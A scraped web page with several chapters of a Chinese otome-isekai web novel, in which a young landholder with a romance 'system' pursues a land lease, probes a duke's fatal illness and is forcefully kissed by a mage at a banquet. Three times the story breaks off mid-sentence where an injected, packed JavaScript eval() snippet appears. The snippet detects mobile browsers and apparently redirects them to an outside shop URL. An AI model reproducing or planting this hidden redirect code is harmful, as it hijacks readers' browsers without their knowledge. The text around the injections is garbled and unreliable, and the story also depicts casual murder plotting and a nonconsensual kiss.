她可不是半路出现占据了□□的异世界灵魂,回顾人生前十八年,除了去过三次永夜城之外,几乎全待在托利亚小镇,过着日复一日的生活,连同龄男孩都不超过十个,更别说什么搬家离开的少年玩伴、从小一起长大的青梅竹马了。 甚至刚绑定系统的时候,艾米还专门细细回忆过自己之前接触过的所有雄性生物,甚至连小时候养过三个月的兔子都没放过,亲自找莫里大婶确认那只兔子最后是不是真的变成了碳烤兔肉,而不是突然消失了或逃跑了——既然连几年前救过的狼人都能找上门,乙女世界还有什么不可能? 雷尔夫见艾米自从回来后便一直眉头紧锁,还以为她在黑岩堡里受了委屈,他把玩着剑鞘上的新剑穗,有些生硬地出言宽慰:“您不必理会别斯霍拉家的那群人,他们全是群自大、虚伪、愚蠢又没脑子的人。” 艾米疑惑地眨眨眼。 雷尔夫皱着眉头继续骂起自己的父亲:“尤其是纳维公爵本人和他最爱的那几个儿子。” 并一个没留神把自己也骂进去了。 说到这个,她突然想起这件事要告诉雷尔夫一声,毕竟那还是他名义上的父亲。 “纳维公爵病了,并且很严重,可能快要死了。” 雷尔夫的表情看上去似乎没有任何惊讶。 “你已经知道了?”艾米语气不虞,有些不满。 连如此重要的信息都不告诉自己的话,她对雷尔夫的忠诚产生了怀疑。 “不。”青年原本蹙起的眉头舒展开,温和地回应道:“我唯一惊讶的是,我的哥哥们居然如此沉得住气,一直到现在才对纳维公爵下手。” “所以。”他停顿片刻,迟疑后才问道:“这是您回来后一直闷闷不乐的原因吗?” 看着对方小心翼翼的神情和耷拉下的嘴角,艾米立刻就将那丁点不愉快抛之脑后了。 朕又何尝和小狗狗有过间隙! 再说,那个布利斯少爷恨自己又何妨。 听说恨比爱还长久呢。 至于他到底为什么这么讨厌自己...也有办法能知道。 刚解锁的商城里有一些好用的道具,她可以兑换一瓶能够听取攻略对象心声的药剂,来搞明白小少爷究竟在想什么。 艾米三下五除二梳理完目前的情况,既然羁绊值还没攒够,男人的事情就先放在一边,等到有更趁手的道具再说。 眼下她的清单上有更重要的事项等待推进:拜访哈尔男爵,商讨泥巴湾的租赁问题。 - 哈尔男爵的妹妹嫁到了别斯霍拉家族,这也是他为什么能够长期生活在永夜城的原因。 对于他这种没什么产业的贵族来说,能够攀上庞大的家族有着数不清的好处。相较于泥巴湾的那点儿金币,哈尔男爵更多靠妹妹的扶持才能维持如今体面的生活。 更何况永夜城有着几乎北境所有贵族和家族们的祖产,这里一年四季都有着开不完的舞会,有着身材曼妙的漂亮姑娘和美味的珍馐,有着平整的石板的地面,他的靴子只需要在舞厅里才需要踮起脚尖,不会沾上令人作呕的恶心的泥巴。 哈尔男爵暂时对自己的生活非常满意,并不想做出什么改变,即使泥巴湾的管事来报,说村子里的渔民逃走了一半,也并未影响他分毫。 谁会在乎路上匆匆忙忙的蚂蚁搬去了哪里呢? 所以,当他收到艾米的来信时,并未打算理会,但片刻思索之后,哈尔男爵又改变了主意。 他知道索莱家的情况,托利亚小镇的上任领主克莱恩并不是什么有根基的贵族,身体又十分病弱,只有一个女儿,算算年龄,也就是这位艾米小姐,如今至多也就二十岁。 虽然年龄不小了,但仍算鲜嫩。 最重要的是,她是有领地的小姐,可不是那些空有爵位、实则只能靠嫁人来维持体面的姑娘。 哈尔男爵因此决定见她一面。 他已经快四十岁了,尽管在妹妹的帮助下维持了一定的体面,但永夜城的贵族们对把女儿嫁给他并没有什么兴趣。 要说一开始,在见到妹妹结婚后身着的华贵珠宝时,哈尔男爵也想效仿娶个有钱人的女儿,但并没什么结果;后来,他转而把目光投向那些有钱的寡妇太太们,可没想到这些女人抠门得要死,平日温言软语露出大片的胸脯来引诱自己,一谈到结婚就装聋作哑。 哈尔男爵总算是看明白了。 未婚的小姐们总有父母挡在前面,而那些结过婚的女人又变成狡猾的银狐,难以捕获。 如此来看,艾米小姐这种失去父亲,又天真的可爱女孩,才是他最好的目标。 在约定的见面日之前,哈尔男爵特意修剪了自己的毛发,换上了永夜城当下最时髦的戗驳领外衣,喷了一大包香水,吩咐仆人在会客厅摆放了家中最昂贵的一套茶具。 但他没想到艾米小姐是带着男仆过来的。 哈尔男爵心中不快,他的视线不断从高大的灰发男人脸上扫过,忍不住联想起一些社交舞会上常出现的、关于贵族小姐和侍卫私通的传闻。 毕竟纯洁是未婚少女最值钱的东西,一想到艾米小姐可能不是处女,他就好像喉咙间卡了异物一样不爽。 幸好她的样貌足够漂亮,是男人都无法抗拒的鲜嫩的还带着晨露的玫瑰。 仅仅一个照面下来,哈尔男爵便在心中为艾米定下了一个合适的价格。 而艾米本人却浑然不知,她只觉得这老男人长得尖嘴猴腮,滴溜溜乱转的眼睛有点烦人罢了。 在简单的寒暄之后,艾米开始主动将话题朝泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055678|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴湾上引,可总是被对方一次次地打断,直到半小时后仍然围绕着“餐桌的玫瑰漂不漂亮”、“今天的茶水口味如何”打转。 是傻子也能听出来哈尔男爵对把自己领地租出去毫无兴趣了。 艾米决定不再忍耐。 她直接了当地开口:“哈尔男爵,您是否愿意将您的领地以一个我们都满意的价格租给我呢?” 男爵露出一种长者的微笑,那种表情似讥讽又似戏弄:“艾米小姐,你想要那块地方,还有别的办法。” 艾米警惕地看向对方。 男爵放松地靠在椅背上,眼睛滴溜溜地转,像老鼠一样从喉咙深处发出压着笑声的嗓音:“你只需要成为我的妻子,作为领主夫人,自然就拥有了泥巴湾,不是吗?” 艾米真想一杯水撒到这人的脸上。 但在此之前她先听到了身后传来剑鞘碰撞的声音。 ...慢着,在这里杀人不好收拾现场。 她用眼神安抚了冷脸的雷尔夫。 “确实是个好办法。”艾米放下手中茶杯,清脆的瓷器碰撞声音让她思绪稍定。 “只是可惜,我已经有了未婚夫。” “不过,我实在是好奇。”她摆出那副天真的神情:“从您漂亮的宅子来看,一年两千金币确实算不了什么,可谁会嫌钱多呢?我想就算是洛克公爵,面对只需要抬抬手就能进口袋的金币,也不会拒绝吧?” 面对少女漂亮又可爱的脸蛋,哈尔男爵很是受用,他心情很好地解释道:“你知道海光象吗?” 艾米点头。 她自然是知道的。泥巴湾来的渔民,全是因为魔法师抓捕海光象而砸毁了他们的渔船才选择逃难。 “海光象的肝脏能够制成治疗纳维公爵的一种药,而泥巴湾的近海很适合捕捞它们。”哈尔男爵得意地说道:“那些穷人一年才交得了多少税金,哪里比得上纳维公爵手指缝漏出的。” 艾米恍然。 她得到了自己想要的信息,便一刻也不想留在这里了。 用拙劣的演技“突然想起”自己等下还有事,还没等哈尔男爵反应过来,就匆匆起身离开了他的庄园。 “真想给他滴溜溜乱转的眼珠子抠出来。”回程的路上,艾米没好气地抱怨道。 “不不,不是真的要抠出他眼珠子的意思。”看到身旁人绷紧的手臂,她立刻补充:“关键是抠掉也解决不了问题。” 泄愤是没有任何用的,如果被羞辱两句就能拿下那块地,她不介意再去几次。 甚至如果系统bug把哈尔男爵绑定为可攻略对象,她也愿意为了大家过上好日子去拿笑脸贴他的尖嘴猴腮老鼠脸。 她是务实派。 不,应该说,自从她见到连一枚金币也掏不出来的母亲拖着两个孩子,在领主府的小门旁等着捡垃圾吃;或者是兽潮之后,望着庄田粮食尽毁,在田埂上趴着痛哭的男人,她就成了务实派。 但很明显雷尔夫不这么想。 他骨节分明的手指晃着佩剑上的剑穗,高耸的眉骨压得很紧,透着令人胆颤的低气压。 半响后,青年的手指停下,手掌握住剑柄,提出了自己的建议。 “既然他是因为能拿到别斯霍拉家的钱才不愿意将领地租给你,我倒是有个解决办法。” 艾米面带好奇,等着下文。 “如果纳维公爵死了,哈尔就没地方卖他的海光象了。” 雷尔夫淡淡说道。 12. 第 12 章 艾米从未意识到还有这种办法。 而当她仔细想了之后竟然惊讶地发现,这个主意似乎确实不错。 前提是雷尔夫能穿过黑岩堡严密的安防、躲过别斯霍拉家族的守卫,不留一丝痕迹且绝不会让人发现端倪地杀了病床上的纳维公爵。 她倒不是怀疑雷尔夫的能力。 杀了纳维公爵对他来说应当很轻松,做得干净不留首尾也不是难事。 毕竟他可是男主之一。 但问题就在于,黑岩堡里,还有另外一个男主——那位名为布利斯的大魔导师。 艾米既不知道他是为何出现在别斯霍拉家,也并不清楚这个世界的魔导师到底有哪些手段。 万一他能通过通魂、摄灵或者物品通灵之类的法术,还原凶杀现场,自己和雷尔夫都要惹上麻烦。 再加上他低至负五十的好感度,说不定真的会立刻把自己抓住送进牢里。 就在这时,艾米的脑海中忽然划过一个念头。 就像是服帖齐整的壁纸翘起了一个微不可见的卷边。 她突然意识到,来自王城的大魔导师布利斯并不是没有缘由、凭空出现在黑岩堡的。 他来到永夜城只有一个原因: 他是为了纳维公爵而来的。 这是别斯霍拉整个家族目前唯一的大事。 而既然别斯霍拉家的人邀请一位大魔导师、而不是从圣殿请光明神官过来,就昭示着公爵的病情已经已经到了无可救药的阶段,甚至于要开始着手后事安排的程度。 所以迪特克才会找来一位大魔导师,为的是给纳维公爵的遗嘱附魔——没错,就像艾米签订租赁合同要找一位高级魔法师一样,这个世界没有法律这种东西,想确保契约的有效,只能依靠魔法。 艾米揪住那个一闪而过的念头,边整理思绪边缓缓说道:“也许...纳维公爵真的快要死了。” “布利斯是迪特克请来的,他好像十分笃定纳维公爵会将家主和爵位传给自己。只是...他看起来太心急了些。” “毕竟哈尔男爵都还以为纳维公爵的身体靠着海光象的肝脏还能再续上几年,而迪特克就先将大魔导师请了过来。” “迪特克到现在还没有未婚妻。他拖到现在,最大的可能是他并不想在北境的贵族小姐中挑选...他的目标在南方。” “没错。”艾米的语气逐渐坚定。 “他连大魔导师都要从王城请,想必和南边贵族的联系会更紧密些。” “和纳维公爵不同,迪特克并不想在北境当土皇帝,他想要的恐怕比他父亲还要多得多。” “河谷地也好,南境也好,总之,只要迪特克想娶个南边的姑娘,他一定会去王城的春季社交舞会。” “他想在舞会之前解决这一切。” “原来如此。这就是他如此心急的原因,也是纳维公爵病情来势汹汹的原因。” 艾米忽然觉得茅塞顿开。 当然,这些还只是她的猜测。 但她有办法验证这些猜想。 - 过了几天,艾米又去了一次黑岩堡,并“不小心”遗落了洛克公爵送自己的黑曜石耳环。 第二天,她写信过去,询问迪特克少爷没有见过自己遗落的首饰,特意强调了这是自己的未婚夫,一位来自南境的大贵族所赠,使用了布佛里托最名贵的宝石制作。 迪特克很快就派仆人送来了那枚耳环,并一同附赠了几天后的晚宴邀请函。 宴会在别斯霍拉家的一处庄园举办,毕竟黑岩堡现在严肃的氛围并不适合宾客们放松地喝酒和跳舞。 临出门之前,艾米换下了洛克公爵送她的项链和耳环,只戴了那枚与之相配的戒指。 ——她有事情要做,并不想成为众人视线的焦点,而公爵赠送的宝石项链,又实在太过闪耀。 可当她踏入宴会厅后,才发现自己的担忧是多么多余。 再闪耀的珠宝,也难以在这场宴会中成为焦点。 因为所有人的注意力都被布利斯少爷吸引了。 女眷们将他围了个水泄不通,而那些跟在女人屁股后面的男人们自然也忍不住凑到了旁边,空气中的脂粉香气浓郁得要将人的胸口闷住,艾米更是狠狠地连续打了几个大喷嚏。 不过布利斯还不是她今晚的目标。 艾米轻轻捻起绲着花边的精致裙角,掂着脚尖在人群中搜寻迪特克的人影,小心地和脚步匆匆的侍从擦身而过,避免碰到他举起的酒托和晃晃悠悠的珐琅杯。 虽然晚宴尚未开始,但水晶吊灯下的长桌已经摆满了餐具,大家还在等着冷盘,因此不急于落席,而艾米也终于在主桌旁的另外一小群人中,见到了这场宴会的主人。 “迪特克少爷。” 她立刻调成了社交场合常用的声线,娇俏的少女马上吸引了迪特克的注意。 随着最后几步加快了脚步,艾米胸前的珍珠项链碰撞发出细碎的声音,在灯光的照耀下,更凸显她雪白细腻的脖颈。 迪特克眼前一亮。 他之前见过几次这位来自托利亚小镇的乡下女孩,只是那时她还太小,还带着稚嫩的酸涩,绝非现在这般明艳夺目。 紧接着,戴着黑丝绒刺绣手套的左手向前递出呈在了他的面前。 迪特克微微躬身,轻轻将吻落下——也理所应当地注意到了那枚每个切面都极为闪耀的黑曜石戒指。 这是位已经订婚了的小姐。 他退后两步,稍稍收起心思。 男人对有丈夫的女人往往更为尊重,但这种尊重并不是给予对方的,而是给那位未谋面的丈夫的。就像从花园里摘下一朵玫瑰时并不需要费心考虑玫瑰是怎么想的,但如果这园子有主人,那就不礼貌了。 两人刚寒暄了几句,大厅就飘来了悠扬的音乐。 乐队开始演奏,弹着里拉琴的乐师轻轻哼吟着曲调,提醒宴会厅内的所有人,晚宴即将开始了。 迪特克本想邀请艾米坐在他的邻位,但考虑到那里已有了更重要的贵客,只能悻悻作罢。 椅子在地板摩擦发出响声,宾客陆续走到自己的位置,主座上的自然是纳维公爵的儿子迪特克少爷,而坐在他左手边的则是冷着一张脸的布利斯。 他就是别斯霍拉家今晚的贵客。 艾米坐在迪特克少爷的妹妹贝丝旁边。 从一开始,这位黑色卷发的姑娘脸上就一直浮着不受控制的潮红,她坐在布利斯的对面,拿着刀叉的手都在轻颤。 可顺着着女孩的目光看向那位冷漠的黑发少爷,他不仅没有给这份炙热任何回应,眉间还浮现隐隐的厌烦。 难搞的男人。 艾米端起面前的餐前酒浅啜一口,微涩的辛辣滑进喉间,就在这时,一股熟悉的溺水感再次出现。 她放下酒杯,感觉心扑通直跳,就像有一团火顺着喉咙朝胸口蔓延。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055679|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇怪。 布利斯湖绿色的眸子好像变成了一弯温柔的湖水,将她整个包裹,有那么一个瞬间,艾米希望那双眼睛永远地坐在自己身上。 ——直到带着冰凉水雾触感的玻璃碰到了她肩头的皮肤。 是侍从用餐巾裹着酒瓶,正打算从客人的左肩侧递过来。被斟酒的动作打断后,艾米好像被人从溺水的状态中被捞起,恍然觉得屋内又燥热又吵闹。 她深呼吸了两下平复心情,下意识用手背碰了碰自己的脸,发现温度热得发烫。 贝丝还在用发颤的手划动餐盘里的小羊排,她的目光一直黏在布利斯身上,就像所有见到意中人的女孩一样,被幸福包裹,亮晶晶的眼睛里全是满足和痴迷。 艾米终于感觉到不对劲。 她悄悄打开系统面板,看到布利斯的好感度浮动到了-30。 下一秒,那个数字跳动,变成了-10,又变成-40,又变成-5,甚至一度涨到了20,但一秒后再次变成-20。 “怎么回事?他的好感度波动为什么会这么大...”艾米心底发问。 系统顾左右而言他:“这边建议你可以把好感度调到男主头顶,这样可以实时查看他的好感度变化哦。” ...我是这意思吗? 虽然艾米本来也没打算听到什么有用的信息,但不得不承认它的这个建议不错。 数值出现在布利斯头顶后,仍然在不断变化,一会是负,一会是正,上下浮动极大,就像系统故障后的乱码,盯久了简直让人看得脑壳发晕。 不过有一串数字时刻吸引她的注意力后,那种好像溺水般的痴迷感倒是没再出现。 布利斯绝对有问题。 艾米开始留心观察起这位有点古怪的大魔导师。 他长着一张艾米见过的最精致的脸,这样的脸上无论做出什么神情都足够迷人,哪怕是显而易见的厌烦和不虞,也只会引得女孩们前仆后继地扑上去。 “布利斯少爷,今晚的晚餐不合您的胃口吗?”贝丝终于按奈不住,鼓起勇气主动张口询问。 从前菜开始,布利斯就没怎么动,第二道清汤更是原封不动的被侍从撤走。一直到上到主菜时,供其他宾客选择的是小羊排或牛颊肉,而出现在大魔导师面前的则是一盘撒了迷迭香的烤蔬菜。 他正心不在焉地切着被处理成片的茄子,却迟迟不愿将食物送进口中。 “他是个素食者。”迪特克笑着对妹妹说。 他端起离他最近的酒杯,一饮而尽,示意仆从斟满:“布利斯少爷的怪癖在王城的贵族圈里都很少见。” 大约是酒劲上来了,迪特克整个人放松地靠在椅背上,朝另一遍的布利斯问道:“不过呢,我倒是好奇,明明你的母亲奥利维亚夫人那么喜欢吃牛排,你怎么反而吃素呢?” 布利斯头也没抬地放下刀叉,用餐巾布擦了擦嘴角后,才掀起眼皮,斜睨了迪特克一眼:“你喝多了。” “我可没喝多。”迪特克确实显出了几分醉态,但在看到布利斯的表情后,他的那丁点醉意似乎又硬生生被逼回去了。 他干笑了两声,有些尴尬地用视线寻找别的话题,然后自然而然地落到了一晚上都十分安静的乡下姑娘身上:“艾米小姐,聊聊你吧,你的未婚夫姓什么?” 可下一秒,还没等艾米回答,布利斯脸色微变,用几乎是质询的语气问道: “你已经订婚了?” 13. 第 13 章 “是的,我已经订婚了,我的未婚夫来自哈卡兹家。” 艾米举起了手背,将中指的戒指展示给对方看。 她没有说出洛克公爵的名字,只说了他的姓,这已经足够糊弄迪特克少爷了,所有人都知道哈卡兹家多么有钱。 布利斯的好感度又出现了剧烈地变化。 不过,这次是往下掉。 艾米终于忍不住问出了从第一次见到他就想问的问题:“布利斯少爷,我们之前见过面吗?” 要不然你怎么会恨我恨成这样? 没想到是迪特克先笑着接过话来:“艾米小姐,我在王城的时候,已经听过不知道多少次这句话了。所有姑娘们都跑过来问布利斯他们之前是不是见过,然后紧接着就会继续问,或者是不是在梦里见过?” 布利斯没理会迪特克的调笑,语气冷淡地回复了艾米:“我很少来北境,也从未去过托利亚。” “有时间您可以来托利亚做客,那里有着和永夜城不一样的田园风光。” 艾米礼尚往来,客气地应承道。 贝丝尖细地声音迫不及待地插进来:“托利亚的食物会把人的嗓子都划破,布利斯少爷。” 嫉妒让这个可怜的姑娘有点口无遮拦,艾米在心底叹了口气,礼貌地带走话题:“托利亚的食物确实很糟糕,这也是为什么我今晚这么期待甜品的原因。” “迪特克少爷,我能提前知道今晚的甜品有哪些吗?” “当然。”迪特克唤来侍从,低声询问后回答:“是冰淇淋和芝士焗红薯,稍后就会送来。” 见艾米不再说话,专心吃着甜品,贝丝便一直纠缠着布利斯将注意力放在自己身上。 她今年十六岁,即将在春季社交舞会上完成自己的成年礼,因此想要布利斯做她第一支舞的舞伴。 “抱歉,我从不参加舞会。”布利斯几乎没有任何犹豫地拒绝了。 贝丝轻咬唇瓣,心碎之意溢于言表,眼中立刻蓄满了泪水。 迪特克安慰自己的妹妹:“他一贯如此,拒绝跟任何女人有肢体接触,就算是圣殿的神官都没有他古板!他甚至不愿意向小姐太太们行吻手礼,甚至连在公主面前都不例外。” 艾米没说话,垂下眼睫专注面前的冰淇淋。 她终于明白那天跟在布利斯身后的男仆为何一脸不可思议。 但这也让她有点糊涂。 从现在的情况来看,布利斯对自己无疑是特殊的,甚至带有点善意的,作为乙女游戏爱好者,她还没迟钝到看不出男主感情的地步。 但他的好感度数值却仍然在0以下跳动,且十分紊乱。 要么他无差别的讨厌所有人,唯独对自己略好一点点,但负数的好感度只可能是厌烦,不太可能会有这样的善意释放; 或者他有什么别的目的,因此强忍着厌恶也要主动亲近,可这种程度的亲近,如果不是自己对他有特殊需求,恐怕只会毫无察觉。 当然,最让艾米起疑的就是自己曾经陷入过的那种溺水般的迷恋。她上辈子见过的二次元三次元帅哥多了去了,怎么会在看到他的第一眼就产生了这种类似“痴迷”的感觉呢?那些围在布利斯身边的姑娘们也是如此,无论是小女仆还是贵族小姐,她们好像被下了降头,一看到布利斯,就失去了神志,满脸潮红。 可如果说这是他有意为之的,似乎又不太像。 大魔导师明明总是露出厌烦的神情,蹙起的眉间显出一副唯恐避之不及的样子。 而按照迪特克所说的,他在王城也很少参与社交活动,更是避免和异性有任何肢体接触——难道碰到他的皮肤会有什么异变? 似乎也不对。 第一次见面时,艾米还没来得及戴手套,就裸着皮肤将手背递给了他,一吻之后,什么事情也没有发生。 直到连芝士焗红薯都全部下肚,她还是没有头绪。 晚餐接近尾声,迪特克起身作为宴会的主人邀请大家举杯共饮,所有喝了酒的人都陷入了迟钝但简单的快乐之中。 接下来可以继续喝酒、跳舞、打牌,或者在昏暗的灯光下窃窃私语。贝丝仍然用脆弱但含情的美目热烈地注视着布利斯,而艾米则在一旁悄悄打量她的哥哥迪特克少爷稍后的动向。 “今晚的月色真美。”艾米装作不经意地望向窗外,实际上什么都没看到:“迪特克少爷,这里太闷热了,我想去外面吹吹风。” “但是,第一次来您的庄园做客,我有点担心会找不到回宴会厅的路。”她露出了练习过的狡黠俏皮的笑容,这让刚喝了不少酒的迪特克顷刻间心就软了下来。 没人能拒绝这句话背后的邀请。 “正好我也想出去走走。”他将杯子放下,主动起身来到艾米身边,邀请她将手搭在自己的手心里起身。 布利斯头顶的好感度在又在往下降。 降吧降吧,负二十和负五十有什么区别呢?反正虱子多了不痒。 两人顺着宴会厅的小门朝花园里走去,就在月光照耀在自己肩头的那刻,艾米轻轻地点开了约会卡【私人月光】的技能。 【私人月光】 品质:A 技能:在有月亮的夜晚使用,目标对象将向你诉说他最真实的心底话。 已生效 倒计时变成一个小小的数字出现在她的视线之中。 艾米安下心来。 她拨弄着自己手指上的戒指,开始借着迪特克关心的话题聊起天,并不经意地将往他的父亲纳维公爵身上引。 “公爵大人的身体似乎很糟糕,真为他担心。”艾米眼睛噙着泪:“我懂这样的心情,因为我也有过这样悲伤的经历。” “您觉得他的身体还会好起来吗?” “不可能了。”迪特克说完微微一怔,然后解释道:“所有医生和神官都这么说。” 艾米继续发出细小的啜泣:“您要振作起来,在公爵大人最后的时光好好陪伴他。” “我永远记得去年冬天,我在父亲的床榻前陪他读书的时光,那么美的午后暖阳,再也没有了。” 迪特克语气冷淡:“克莱恩先生是位好父亲,但纳维公爵不一定。算了,我们聊点别的,你是什么时候订婚的?” 艾米眨着眼睛:“就在父亲去世之前。他弥留之际唯一放心不下的就是我的婚姻,所以一定要在回到神国前为我订下婚约。” “我想,纳维公爵一定也会有这样的想法,所有的父亲都一样,不是吗?” “这倒确实。” 艾米继续追问:“真是奇怪,请容我好奇地问一下,迪特克少爷,您为何现在还不订婚呢?” 迪特克露出意有所指的调笑:“因为之前我还不知道北境还有这么漂亮的姑娘。你之前怎么没去参加王城的社交舞会?” “因为父亲的病情,我要留在托利亚照顾他。”艾米小声回答:“您今年也无法参加王城的春季社交舞会了吧?纳维公爵病得这么重。” 迪特克冷笑着说:“他病得太重了,重到不会影响我去参加社交舞会。” 艾米得到了想确认的答案。 哈尔男爵很快就无法从纳维公爵那里赚到钱了。 但这还不够,她还得让他尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我——”艾米舔了舔唇,轻颤着刚想张口,就看到迪特克的目光转向了自己的身后。 “你来的正好,这是个小奸细,帮我绑起来吧。”贴在自己脸颊上的刀刃松开了。 大概是觉得艾米现在不可能跑得了,迪特克也没再试图控制住她。 一股淡淡的薄荷香气飘到她的鼻尖。 闻着这个味道,艾米奇异般地感觉放松了下来。 “你太紧张了,流了很多汗。” 布利斯的声音从身侧传来,冷冷的没什么起伏,像是在陈述最简单的事实。 他的指节贴在了刚才刀刃抵住的皮肤,艾米感觉自己脸上渗出的汗水都蹭到了他的手上。 迪特克皱了皱眉头。 “你在等什么——”他刚一张口,就被一根丝带状的银线捆住了身体,伴随着一声闷哼,倒在了地上,彻底没了声音。 布利斯继续摩挲着艾米的脸颊,哑着声音低声道:“你真的流了很多汗。” “你知道吗,这让你更香了,香到我隔得很远都闻得到。” 手指带来了比刀刃更强的压迫感。 与此同时,男人说话时温热的吐息拂在脸上,艾米觉得酥麻的电流正顺着血液流向四肢。 好诡异。 虽然搞不清现在什么状况,但她必须得做点什么。 “布利斯——” 布利斯突然俯身吻了上来,吞下了她没说完的话。 他用右手将女孩的双手擒住反扣在后背,左手用力地握住她脆弱的脖颈,撬开她还茫然无措的牙齿,狠狠地把舌头顶了进去,又重又急地在她的口腔里搅弄。 这一切发生得猝不及防。 薄荷的清香瞬间就卷走了艾米所有的理智。 在大脑尚未反应过来的时候,极致的欢.愉像潮水般席来,将她全部淹没。 14. 第 14 章 当艾米从一层又一层的海浪拍打中清醒过来的时候,才发现自己正因为缺氧而头晕。 她整个人都倚靠在布利斯的怀里,胳膊搭在他的手臂上,只偏出一点头露出口鼻喘.息。 布利斯却似乎因为这个吻而冷静了下来。 “对,对不起。” 他从胸腔里传出闷闷的声音,还带点不好意思的羞愧,好像刚才那个把艾米亲得喘不上气的人不是他。 “我会让你忘掉今晚这些事情,好吗?” 这怎么能行! 艾米立刻抗议。 她站直身子,指向一边被绑起来没了意识的迪特克:“先让他忘记今晚这些事。” “我会的。”布利斯停顿了一下,想了想补充道:“你不用担心,刚才的那些他也会忘记。” 他头顶的好感度终于不再上下跳动,而是牢牢地固定在了20这个数字。 艾米睁大眼睛:“刚才的你也知道了?” 布利斯则很耐心地解释:“纳维公爵的病是一种光明法师都无法对抗的诅咒。不是迪特克做的,但他确实有意放任这件事的发生,因为他已经迫不及待当上别斯霍拉家的下一任家主了。纳维公爵的遗嘱是三天前生效的,我亲自加固了牢不可破契约,现在别斯霍拉家极为核心的几位管事,已经开始准备葬礼的事宜。” “这就是我了解的所有情况,除了这些,你还想知道什么?” 艾米气得说不出话来。 早知道问布利斯就能直接获得答案的话,自己还浪费那张约会卡干嘛! “抱歉——这些都是我的错。”看到对方的表情,大魔导师的神色不复往常的冰冷,磕磕绊绊地再次道歉:“这是我第一次——嗯——不太熟练,我弄疼你了吗?” 月光照耀下,他唇瓣一张一合,像沾了露水的花蕊,艾米又想到刚才水润柔软的触感,忍不住有点走神。 他在说什么乱七八糟的。 听不懂,想亲嘴。 不对。 艾米猛地摇了摇头,让自己赶紧清醒过来:“你刚才捏着我的脖子好痛,扣住手腕也是!” 布利斯抿着唇,垂下的眼睛盛满了愧疚:“我会用个小法术帮你解决这些,对,对不起,我会让今晚就像一切都没发生过一样。” “你怎么还在说着要抹掉我记忆的事?难道说,你对其他姑娘也这样,吻完她们,再用一个咒语把所有的痕迹抹掉?” 艾米提高了音量,虚张声势地质问道。 她当然知道布利斯不会这样,如果他真的想把自己的记忆抹掉,不用在这里和自己好言好语地打着商量。 湖绿色的眸子立刻慌乱起来:“没有,不是这样的,艾米小姐,这是,这是我第一次接吻。” “我——”像是下了某个决心,布利斯有点心虚地小声张口:“我可以娶你,艾米小姐。” “可以?” 艾米双手在胸前抱臂,冷哼一声:“这就是你想到的补偿措施吗?大魔导师先生。” “另外,还要我再提醒你吗,我已经订婚了。”她再度举起左手,把那枚戒指给对方看。 布利斯喉结滚了滚,下意识舔了舔唇瓣:“不,艾米小姐,你理解错了,这不是出于补偿的心态。” 他的声音喑哑,像未曾说出口的叹息:“我是真心想要娶你。” 艾米看着他头顶20的好感度,强忍着才没露出一言难尽的表情。 骗骗鬼可以,骗她不行。 20的好感度就“真心想要娶你”了?这才哪到哪。 这位可攻略对象长得确实是好看,但谎话连篇是不是有点太过分了? 但想了想攻略他后活动的农业加成,艾米还是深吸一口气把这股反感硬生生压了下去。 ——别管什么真不真心的了,真心不能当饭吃,但是拿下他真的能让托利亚的百姓吃饱饭。 “布利斯少爷。”艾米似是而非地啜泣了一下,用鼻腔发音,假装正在隐忍泪水:“请你不要再说了。” “我很爱我的未婚夫。” 对,很爱他的钱。 “我绝不会离开他的。” 因为确实也找不到比他更有钱的男人了。 “今晚的事情——”她停了下来,悄悄观察布利斯的表情:“我也是第一次。” 他果然愧疚了。 虽然谎话连篇,但似乎是个正直的人? 得找个借口把他拴住。 “如果您真的想补偿我的话。” 艾米仍然认为他说出要娶自己的话,是出于愧疚。 “帮我三个忙怎么样?” 图穷匕见。 放眼整片大陆,都找不出十个大魔导师,而自己现在就能白捡一个。 布利斯微微蹙起眉头:“我不杀人。” “我还没想好这三个需要帮忙的事情是什么,但我可以向你保证,不会伤害任何人。” 艾米赶紧补充:“你可以使用契约魔法。” 布利斯答应了。 他抬起手指,在空中虚点几下,细碎的光斑落到了两人十指紧扣的手心。 契约生效了。 - 这个兵荒马乱的晚上终于结束了。 艾米得到了想要的答案,而迪特克忘记了刚才发生的一切。 除此之外,她还获得了一张新卡【初吻】。 卡面上布利斯俯身将双腿发软的她拥在怀里,舌尖舔过唇瓣,勾出细长的银丝。 很漂亮的一张卡。 但是是没有技能的B级卡。 “我的初吻是不是太廉价了,你甚至不愿意给我发一张A级卡。”艾米抱怨道。 系统没好气地解释:“你们俩就独处了十几分钟,你就想要A级卡?” 好吧。 反正今晚也不亏。 重新回到宴会厅,所有的一切和她离开前没有差别,弹琴的乐师、跳舞的太太们、和围在一堆边喝酒边高谈论阔的男人们。 侍从在所有人之间穿梭,为小姐少爷们送上酒和甜品,艾米拦下其中一位,让他为自己取来大衣,并提前套好马车。 有几位年轻的男人想过来打招呼,都被她用手上的戒指挡了回去。 ——虽然至今还没见过洛克公爵本人,但是艾米用起他已经十分得心应手。 等到悄悄离开的领主小姐再次来到室外,看到洒落庭院的月光时,才后知后觉地发现今晚的月亮已经接近饱满的圆润。 又快到月圆之夜了。 